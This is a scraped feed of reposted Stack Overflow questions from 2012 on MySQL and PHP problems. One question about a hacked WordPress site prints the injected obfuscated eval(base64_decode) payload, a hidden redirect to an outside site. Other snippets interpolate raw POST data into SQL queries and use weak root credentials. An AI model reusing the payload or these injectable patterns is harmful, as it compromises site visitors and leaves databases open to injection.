My application uses an xml datasource file for accessing the DB..There are number of schemas which are present inside the DB and I have no problem accessing any of the schemas.

However we have started using BIRT for reporting and charts generation and as such I am facing a very typical problem.

In BIRT I need to create a datasource file.Problem is it accepts jdbc:connection url where I supply the url of the DB..However along with the URL it also ask me to specify the schema else wise BIRT shows no value in data set.
I can easily specify one schema name however my query uses two schema and hence I am unable to find an alternative for the same...Creating a joint data set is an option but my queries are complex and generally it is not a viable option for me...

The connection URL which I specify is :-

jdbc:mysql://IP:port/schemaName?someString

How can I specify more than 2 schema in my jdbc connection URL..???How can I connect to two schema inside a single datasource in BIRT..

Originally asked by: Hukamanata on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/ http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/ Tue, 07 Feb 2012 09:43:59 -0500 topdog Questions http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/

I have a MySQL query where in the age is to checked against an array of possible-possible-values.

The query looks like :

select * from users where age in (15,18,20,22);

Some times, the ages-array might only have a single value, say [22].

In such circumstances, am wondering if the following query (A):

select * from users where age in (22);

will be optimum when compared to (B):

select * from users where age = 22;

Please, let me know your thoughts.

Originally asked by: satya on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/concatenation-in-as-statement-1/ http://www.globberstack.com/Questions/concatenation-in-as-statement-1/ Tue, 07 Feb 2012 09:43:54 -0500 topdog Questions http://www.globberstack.com/Questions/concatenation-in-as-statement-1/

A newbie but can a concatenation occur with an "as" statement?

Ex.

Set @nthpct:=75; 
select 
-code- as concat(@nthpct,' percent') 
from widget;

Originally asked by: user1185787 on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/ http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/ Tue, 07 Feb 2012 09:43:22 -0500 topdog Questions http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/

After inserting new data into a table, I need to select some of the new data straight after, so I can use it for inserting into another table.

The only way I can think of doing this is using the 'datetime' field I have in my row, but how would I retrieve the latest date/time inserted.

1. INSERT statement with NOW() value for datetime




2. society_select = SELECT socID, creator, datetime FROM societies.society WHERE datetime='[..datetime is the newest...]';

Hope that makes sense. Thank you

Originally asked by: ashx89 on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/ http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/ Tue, 07 Feb 2012 09:43:17 -0500 topdog Questions http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/

First and foremost, I'm so sorry about how long this question is and appreciate your time in reading it!

We are currently developing what I prefer to describe as a web based platform that holds a number of applications within it and have come across a permissions problem. This is an internal application for our business and isn't public, for this reason we have unique needs.

We cannot use a strict group based permissions system because it is too general making it too restrictive, some staff will need access to multiple applications, multiple departments (some may call them groups) within the applications and only a few functions within each department.

We also need to be able to display the data dynamically, as we are developing a number of applications for the platform we need to be able to register information in a database, it will then populate the appropriate checkboxes and check them if the user has access or leave them empty if the user doesn't have access to the application, department or function.

For these reasons we need 3-tiers for permissions that consist of

1. the apps the user can access


2. the departments the user can access


3. the specific functions the user has access to

In theory this should be very simple, I'm sure the best solution will be quite simple in fact but I think we're either overlooking something or looking too closely at something.

Before I go any further, I understand that there are a number of ways to deal with this situation in it's existing structure, we have 6 running and working correctly however these are using "unusual" methods and we really do need a better solution and I believe this starts at the database design.

We currently have tried a 3-table systems that has the following tables relating to permissions

Application register: this holds a list of all applications within the platform

    app_id (primary AI) | perm_id (int) | app_name | app_code | app_location | tab_location | access_key

Application permissions register: this holds a list of every permission for every application regardless if it is an application, department or function (defined under access_type below)

    permission_id (primary AI) | perm_id (int) | app_id | permission_code | permission_name | permission_description | access_type

Specific user permissions: this holds the specific permissions that relate to an application, department and function

    permission_id (primary AI) | perm_id (varchar) | app_permission_id | app_id | user_id | access_status | function_code

The problem comes in with assigning permissions as when we get down to a function level we have found that the mySQL query needs to be too specific in order to get the user access information and we cannot get the full list of functions for that department, no NULL values are being returned in the LEFT JOIN where they should - this is attributed to a particular field that has a common name in multiple tables being joined but different data in each one. We specify all the fields we want returned from each query but for some reason this 1 field keeps coming up and the wrong data is being joined.

So, I'm thinking of implementing the following structure:

Application register: to hold a list of all applications with a URI and navigation system reference

    app_id (primary AI) | app_name | app_uri | app_tab

Department register: to hold a list of all departments and the relationship to an application

    dept_id (primary AI) | app_id | dept_name

Functions register: to hold a list of all functions and the relationship to a department, the department in the "department register" relates to the application

   function_id (primary AI) | dept_id | function_name | function_description

Specific user permissions: to hold a list of all functions a user can perform, this is associated to the functions register, that associates itself to the department register, that relates to the application register

    permission_id (primary AI) | user_id (index) | function_id | permission_status (int - 0 = not allowed access | 1 = allowed access)

From here we can do a few joins in a query, for example (just to show the concept for illustration purposes only, I realize that this is not the correct query or best way to write it in production)

    SELECT * FROM app_register 
    JOIN dept_register ON app.register.app_id=dept_register.app_id
    JOIN function_register ON dept_register.dept_id=function_register.dept_id
    JOIN user_permissions ON app_register.app_id=user_permissions.app_id
    WHERE user_permissions.user_id='1'

This should give me a simplified joined permissions table that relates all of the functions, departments and applications then lists what applications the user has access to.

But I need input from impartial observers rather than emotionally invested database designers and his friends.

Is there anything that I have overlooked or looked at too hard at?

Is there another better structure we can try that you can think of to handle this data?

I really appreciate everyone's help and sorry again for the length of this question!

Originally asked by: Ryan on Stack Overflow

3 Vote(s) ]]> http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/ http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/ Tue, 07 Feb 2012 09:43:05 -0500 topdog Questions http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/

I have installed limeSurvey on Mac. But I have following error:

Can't connect to LimeSurvey database. Reason: No such file or directory

I have edited config.php and config-default.php. Im using mysql for my django projects without any problem.

Soft link already could'nt solve the problem:

ln -s /var/mysql/mysql.sock /tmp/mysql.sock

How can I make connection between limesurvey and mysql?

Thanks in advance

Originally asked by: TheNone on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/ http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/ Tue, 07 Feb 2012 09:41:59 -0500 topdog Questions http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/
IE8 is rendering the characters off-centre. I tried to play with language packs etc in IE8 but I cannot work it out.

The html being rendered is fairly simple .e.g

Avslå registrering
You will...

2 Vote(s) ]]> http://www.globberstack.com/Questions/mysql-error-on-create-table-1/ http://www.globberstack.com/Questions/mysql-error-on-create-table-1/ Tue, 07 Feb 2012 09:41:16 -0500 topdog Questions http://www.globberstack.com/Questions/mysql-error-on-create-table-1/

I want to create a table with Primary key referenced to Two columns of other table on MySql
Something like this

CREATE  TABLE IF NOT EXISTS `tarina`.`Geo_Distrito` (
  `departamento` INT(10) NOT NULL ,
  `provincia` INT(10) NOT NULL ,
  `codigo` INT(10) NOT NULL ,
  `nombre` VARCHAR(80) NULL ,
  `estado` INT(10) NULL ,
  PRIMARY KEY (`departamento`, `provincia`, `codigo`) ,
  CONSTRAINT `FK_ProvinciaDistrito`  FOREIGN KEY (`departamento` , `provincia` )  REFERENCES `Geo_Provincia` (`departamento` , `codigo` )
)ENGINE = InnoDB;

And got this error:

Can't create table 'tarina.Geo_Distrito' (errno: 150)

Can someone tell me what is the problem?

Originally asked by: Juan Carlos Vega Neira on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/ http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/ Tue, 07 Feb 2012 09:40:24 -0500 topdog Questions http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/
0 Vote(s) ]]> http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/ http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/ Tue, 07 Feb 2012 09:39:27 -0500 topdog Questions http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/

I have a question about something that I found among PHP best practises book that I read.

What is the best way to do the following test?

if("value" == $variable){}

and

if($variable == "value"){}

Originally asked by: Mamadou on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/ http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/ Tue, 07 Feb 2012 09:38:02 -0500 topdog Questions http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/

I have a table with 9 records in it but i want to insert a row in between of 5th and 6th record.

Originally asked by: Renuka Ballal on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/ http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/ Tue, 07 Feb 2012 09:36:49 -0500 topdog Questions http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/

I have a table as follows:

In the future the table will have several more rows.
I am trying to select currentStage from the database using the following code:

$currentStage = mysql_query("
SELECT `currentStage` FROM `team` WHERE `gameID` = '$gameID'
");

Using the above selects the two 1's from the data base however I really just want to select one of them. With only the gameID as a reference. (ie. I can only use WHEREgameID= '$gameID' as a method of finding) Is there a way of doing this?

I hope this makes sense

Thanks

Originally asked by: user1064028 on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/ http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/ Tue, 07 Feb 2012 09:36:28 -0500 topdog Questions http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/

i want to make a website something like popurls.com, but I will use static data stored in MySQL database. Btw I use php/mysql.

In each list i want to show around 10 links (just like on popurls). In that case, if I would have 20 lists, i would need to make 20 'for' loops (for each particular list).

My question is; is there some better way to print that 20 lists instead of using 20 'for' loops in php.

Originally asked by: phpEnthusiast on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/ http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/ Tue, 07 Feb 2012 09:36:27 -0500 topdog Questions http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/

I have a mysql database charset utf8_general_ci. All fields are utf8_general_ci to.
And I read with php the DB to this header

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

but a/o/u with dots (on top) are displayed as ?.

could somebody help me please?

Originally asked by: fteinz on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/ http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/ Tue, 07 Feb 2012 09:36:13 -0500 topdog Questions http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/

I installed wamp server2 it didn't have password and it had this error below then I went to mysql and set the password for root with this command and I can login using this password but again I can not access phpmyadmin.I restarted the services too.

update user.mysql set password=password('root') where user='root';

then i went to config.inc changed the pass to this one:

$cfg['Servers'][$i]['password'] = 'root';

again I restarted and again no result.

the phpmyadmin page:

Welcome to phpMyAdmin

Error

MySQL said: Documentation
#1045 - Access denied for user 'root'@'localhost' (using password: NO)
phpMyAdmin tried to connect to the MySQL server, and the server rejected the connection. You should check the host, username and password in your configuration and make sure that they correspond to the information given by the administrator of the MySQL server.

config.inc:

<?php

/* Servers configuration */
$i = 0;

/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'root';
$cfg['Servers'][$i]['AllowNoPassword'] = true;

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';


/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';


?>

It was firstly this line $cfg['Servers'][$i]['password'] = '';

Originally asked by: nik parsa on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/ http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/ Tue, 07 Feb 2012 09:36:06 -0500 topdog Questions http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/
0 Vote(s) ]]> http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/ http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/ Tue, 07 Feb 2012 09:35:02 -0500 topdog Questions http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/

A WordPress website we are running for a client has been comprimised and are trying to establish how they may have got in. It seems they have injected code into EVERY WP core file, all theme files and only a few select plugin files.

The code they used is:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

Has anyone seen or heard of this before? And does anyone how any clues onto how this may have happened? All WP file permissions are set to the recommended levels.

Thanks for your time.

Originally asked by: Nathan Fitzgerald on Stack Overflow

3 Vote(s) ]]> http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/ http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/ Tue, 07 Feb 2012 09:34:28 -0500 topdog Questions http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/

I've made some changes for a php framework to suport namespaces and the result wasn't as expected ... For a simple test (mostly framework classes loaded) the execution time slowed down with ~10% .

From your experience , does it worth to use namespaces on large apps (considering the actual development level of PHP) ?

Originally asked by: Tudor Tudor on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/ http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/ Tue, 07 Feb 2012 09:33:38 -0500 topdog Questions http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/

Followings are what I need to do:

1- If a search term is new and unique, then add the search term

2- Show lastest searched 1000 search terms (I don't need to store dates of all search terms)

3- Show 20 similar search terms for a search term

4- If an old search term seaches again, then update view count of the search term

I have over 10 different structure on my mind to try but I am tired of failed attempts and I need a professional view.

I don't have a background with db in a professional manner, I just learn and try combinations when I need.

http://www.ptf.com/tai/tai+ve+dot+kich/ and some other big sites uses first word of search terms for performance I believe. But I am not sure how to apply. Also, you can get an idea what I'm doing from the link.

Please consider a scalable structure (if possible)

Currently, there are 2 search performs in a second(i mean a user search something), and there are 200K search terms. I can't get enough performance with my current structure and I want to add over 1M records. So please assume there are 200 search performs in a second, and there are 10M search terms.

Oh and I prefer to use Mysql

Originally asked by: noarm on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/ http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/ Tue, 07 Feb 2012 09:33:33 -0500 topdog Questions http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/

The script below is to search the db for the query ($matric_no), so that it returns the names(first, last, other name) and other student informations. It works fine if it only returns one row , but whenever two or more rows are returned the names are also iterated the same times as the rows. How can i make it return just a single instance of the student names irrespective of the no of affected rows?

Thanks in advance.

<?php
session_start();
require ('includes/ dbconnect. php');
require 'includes/header.inc.php';

$matric_no = mysql_real_escape_string($_POST['matric_no']);

if ($_POST['matric_no'] == "") {
    echo "<div id=\"contentRight\">";
    echo "<div id=\"msg\">";

    echo "You didn't enter a <span style=\"color:red\"> Matric Number </span>";

    echo "</div>";
    echo "</div>";
    exit();
}

$query = "SELECT matric_no 

 FROM main_table 

 WHERE main_table.matric_no = '$_POST[matric_no]'";

$result = mysql_query($query);

$duplicates = mysql_num_rows($result);

if ($duplicates < 1) {

    echo "<div id=\"contentRight\">";

    echo "<idv id=\"msg\">";

    echo "You dont have a record for <span style=\"color:red\"> $matric_no</span>";

    echo "</div>";
    echo "</div>";
    exit();
}

{
    $query = mysql_query("SELECT main_table.matric_no , main_ table.session, 
 main_table.semester , main_ table.course_name , 
 (test+exam+practical) AS Total, 
 students.first_name, students. last_name, students.other_name, students.level

 FROM main_table INNER JOIN students ON

 main_table.matric_no = students. matric_no
 WHERE main_table.matric_no = '$_POST[matric_no]'") or die(mysql_error());

    while ($row = mysql_fetch_assoc($query)) {

        echo $row["matric_no"];
        echo "<br />";

        echo $row["session"];
        echo "<br / >";

        echo $row["semester"];
        echo "<br />";

        echo $row["course_name"];
        echo "<br />";

        echo $row["first_name"];
        echo "<br />";

        echo $row["last_name"];
        echo "<br />";

        echo $row["other_name"];
        echo "<br />";

        echo $row["level"];
        echo "<br />";

    }
}
?>

Originally asked by: KanyinsolaOyesanmi on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/ http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/ Tue, 07 Feb 2012 09:31:26 -0500 topdog Questions http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/

A web service has been written by a third party to link my PHP CMS to a MS Dynamics CRM. This is a web service that I have to use (the default SOAP and REST APIs that come with Dynamics is not something we are allowed to use). I am having difficulties working out how to pass a record of name/value pairs to one of the web service functions.

We are using nusoap to talk to the web service, as we have more chance of "fixing" the SOAP handling to talk nicely with the MS code, than if we were at the mercy of what SOAP handling PHP provides.

I don't know much about ASP, but the function in question is defined [roughly] like this:

public class UserWebservice : System.Web.Services.WebService
{
    public DataSet UpdateContactAddress(string ContactId, List<KeyValuePair<string, string>> Address)
    {
        ...
    }
}

I can pass in the ContactId, but then have an associative array of address parts ('city'=>'My City' etc) to pass into the Address parameter. I cannot work out how to do that. If I knew what XML the web service was expecting to receive, then I could work backwards from there, but the structure is just an unknown to me.

The web service developer can only tell me it is "the standard" format, whatever that means.

In case it helps, this is how the UpdateContactAddress processes the parameter:

Entity contact = new Entity("contact");
contact.Id = new Guid(ContactId);
foreach (KeyValuePair<string, string> AddressPart in Address)
{
    contact[AddressPart.Key] = AddressPart.Value;
}

If there is a better data type to use for the web service to accept a record of name/value pairs, then I could probably argue the case for it to be changed.

It would be nice to think that using a WSDL means all this "just works", but I accept it won't (PHP<-%gt;MS: haha!) and am building the elements manually in parameters passed to nusoap (nesting soap_val objects and arrays as needed, which works for simple arrays of values).

Edit:

Just to add to one of that latter points about changing the datatype, if something like this, assuming it is syntactically correct, will be easier to handle, then I would go along with that:

KeyValuePair<string, string>[] Address

i.e. a simple numeric-keyed array of "name-value pairs", which I understand is not as simple as a key/value array element in PHP. Passing in simple arrays to the MS web service works for me, so removing the unknowns is a good move. The problem here is no debug activity on the MS side - they get the data or they don't, and if they don't, it is my fault for not passing it right but there are no clues what "right" actually is. I'm hoping somebody here has done this and got it working, and can point me in the right direction.

Originally asked by: Jason on Stack Overflow

3 Vote(s) ]]> http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/ http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/ Tue, 07 Feb 2012 09:30:29 -0500 topdog Questions http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/

I'm trying to figure out how to use the MySQLdb library in python (I am novice at best for both of them).

I'm following the code here: http://www.kitebird.com/articles/pydbapi.html

Specifically:

cursor = conn.cursor ()
cursor.execute ("DROP TABLE IF EXISTS animal")
cursor.execute ("""
   CREATE TABLE animal
   (
     name     CHAR(40),
     category CHAR(40)
   )
 """)
cursor.execute ("""
   INSERT INTO animal (name, category)
   VALUES
     ('snake', 'reptile'),
     ('frog', 'amphibian'),
     ('tuna', 'fish'),
     ('racoon', 'mammal')
 """)
print "Number of rows inserted: %d" % cursor.rowcount
cursor.close ()
conn.close ()

I have poked around it, and can get it to create tables or drop tables by changing the basic code, but I can't get it to actually commit the INSERT. It returns the row.count value as expected (even when I change the value table, it changes to what I expect it to be).

Everytime I look into the db (via PHPMyAdmin) there are no inserts made.

Can anyone point me in the right direction?

Originally asked by: Jay Gattuso on Stack Overflow

3 Vote(s) ]]> http://www.globberstack.com/Questions/blue-programming-language-1/ http://www.globberstack.com/Questions/blue-programming-language-1/ Tue, 07 Feb 2012 09:29:39 -0500 topdog Questions http://www.globberstack.com/Questions/blue-programming-language-1/ kindly give me some sample program for leap year using blue programming language.?

1 Vote(s) ]]> http://www.globberstack.com/Questions/escaping-php-string-1/ http://www.globberstack.com/Questions/escaping-php-string-1/ Tue, 07 Feb 2012 09:29:28 -0500 topdog Questions http://www.globberstack.com/Questions/escaping-php-string-1/

I'm trying to add a php session into the content as shown below, but it's just showing an empty page. I'm sure the escaping is not correct.

echo "<meta http-equiv=\"refresh\" content=\"0;URL=$_SESSION['name'];\">";

Here's what I'm trying to achieve.

$_SESSION['name'] = 'somepage.php'

And I want to add the session into the url so it redirects to 'somepage'.

Originally asked by: Helen Neely on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/simple-join-not-working-1/ http://www.globberstack.com/Questions/simple-join-not-working-1/ Tue, 07 Feb 2012 09:25:26 -0500 topdog Questions http://www.globberstack.com/Questions/simple-join-not-working-1/

My join doesnt appear to work, can anyone think why? I'm getting null from the database.

Thanks!

$db->query("SELECT stockists.name FROM stockists INNER JOIN shops ON stockists.name = shops.type");

Originally asked by: user1013512 on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/ http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/ Tue, 07 Feb 2012 09:24:25 -0500 topdog Questions http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/

I want to only return a row if either of the subquery returns a field.

SELECT upd8r_user_accts.id, (

SELECT fb_id
FROM upd8r_facebook_accts
WHERE user_id = upd8r_user_accts.id
) as facebook, (

SELECT twitter
FROM upd8r_twitter_accts
WHERE user_id = upd8r_user_accts.id
) as twitter
FROM  `upd8r_user_accts` 

also i am returning id/access token values for each of the subqueries- how could i return a boolean value of yes or no?

Originally asked by: Chris Mccabe on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/ http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/ Tue, 07 Feb 2012 09:24:03 -0500 topdog Questions http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/

It was my habit to uninstall easyphp without losing my database...But this time, I've uninstalled my easyphp and re-installed it again, but when I tried to view my database, I see that all tables have been lost.

Actually, my tables are all empty, because I've just finished the database conception and I did not yet begun the project online.

But the tables are about 40 table, and I don't want to recreate them again.

so I've viewed my mysql directory, and I see that *.frm files with the names of my tables.

How can I recover my tables structure (not data) from those *.frm files?

Originally asked by: Simo TAQI on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/ http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/ Tue, 07 Feb 2012 09:22:56 -0500 topdog Questions http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/

I have a table that stores users. Every user has an ID, a Name and an Access Level. The three possible Access Levels are Administrator, Manager and Simple User.

What I want is to conditionally select from this table based on the Access Level value. I demonstrate the logic bellow:

1. If user is Administrator, then select all users (Administrators, Managers, Simple Users)


2. Else if user is Manager select all Managers and all Simple Users


3. Else if user is Simple User select only himself

Is that possible?

Thanks in advance.

Originally asked by: Theodore on Stack Overflow

2 Vote(s) ]]> http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/ http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/ Tue, 07 Feb 2012 09:22:53 -0500 topdog Questions http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/

Recently downloaded some code for a minor open-source project related to a small webgame I play. Trying to access it fails and spits out an error message of:

PHP Fatal error: Call to undefined function v() in /Applications/MAMP/htdocs/infocenter/modules/security_mod.php on line 7

After searching, I found that the function v() is defined in a file called "system.php" which is required by a file which is required by a file which is required by the "security_mod.php" file that the error occurs in. No errors occur with any of the require calls (and they're all 'require_once', not an 'include').

This is the whole of the system.php file:

<?php
function v($a, $i)
{
    return isset($a[$i]) ? $a[$i] : null;
}
?>

This is the function in 'security_mod.php' that throws the error (also including the require calls):

<?php
require_once("settings_mod.php");
require_once("account_mod.php");//this file requires base_mod.php, which requires system.php

class SecurityMod {
    public static function checkLogin() {
        $name = v($_REQUEST, "acc");//this is the line that causes the error
        $password = v($_REQUEST, "pwd");
        if (!isset($name) || !isset($password)) {
            return null;
        }
        $acc = AccountMod::getAccount($name);
        if (SettingsMod::USE_ENCRYPTED_PASSWORDS) {
            if (is_null($acc) || $acc->getPassword() != md5($password)) {
                return null;
            } else
                return $acc;
        } else {
            if (is_null($acc) || $acc->getPassword() != $password) {
                return null;
            } else
                return $acc;
        }
    }
?>

I did a little testing, and found out that I can access variables and functions in some of the other required files. All of those are in classes, though, unlike v(). Would that be the reason?

EDIT to clarify how 'system.php' is required:
'security_mod.php' has these two require_once calls at the beginning of the file:

require_once("settings_mod.php");
require_once("account_mod.php");

'settings_mod.php' is a file containing constants used through the program, and includes no files.
'account_mod.php' has these two require_once calls:

require_once("base_mod.php");
require_once("account.php");

'account.php' has a pair of include_once calls that include inconsequential and unrelated files.
'base_mod.php' is the file with the ultimate requirement for 'system.php':

require_once("system.php");
require_once("settings_mod.php");

Originally asked by: Angle O'Saxon on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/ http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/ Tue, 07 Feb 2012 09:22:36 -0500 topdog Questions http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/
3 Vote(s) ]]> http://www.globberstack.com/Questions/javascript-help-4/ http://www.globberstack.com/Questions/javascript-help-4/ Tue, 07 Feb 2012 09:22:31 -0500 topdog Questions http://www.globberstack.com/Questions/javascript-help-4/
0 Vote(s) ]]> http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/ http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/ Tue, 07 Feb 2012 09:21:53 -0500 topdog Questions http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/

I am having a php project in which I am basically dynamically creating hyperlinks to files existing on the local drive for eg c:/vikram/htc.doc . I created a basic html file and added the usual hyperlinks with the code as

hello

But whenever I launch this page in firefox, there is no response. It doesnt show an error message neither does it launch the file. When I checked the error console on firefox it reads.

Security Error: Content at http://localhost/PhpProject1/newhtml1.html may not load or link to file:///C:/vikram/htc.doc.

Even after implementing all their suggestions still firefox isnt allowing the file to be launched.

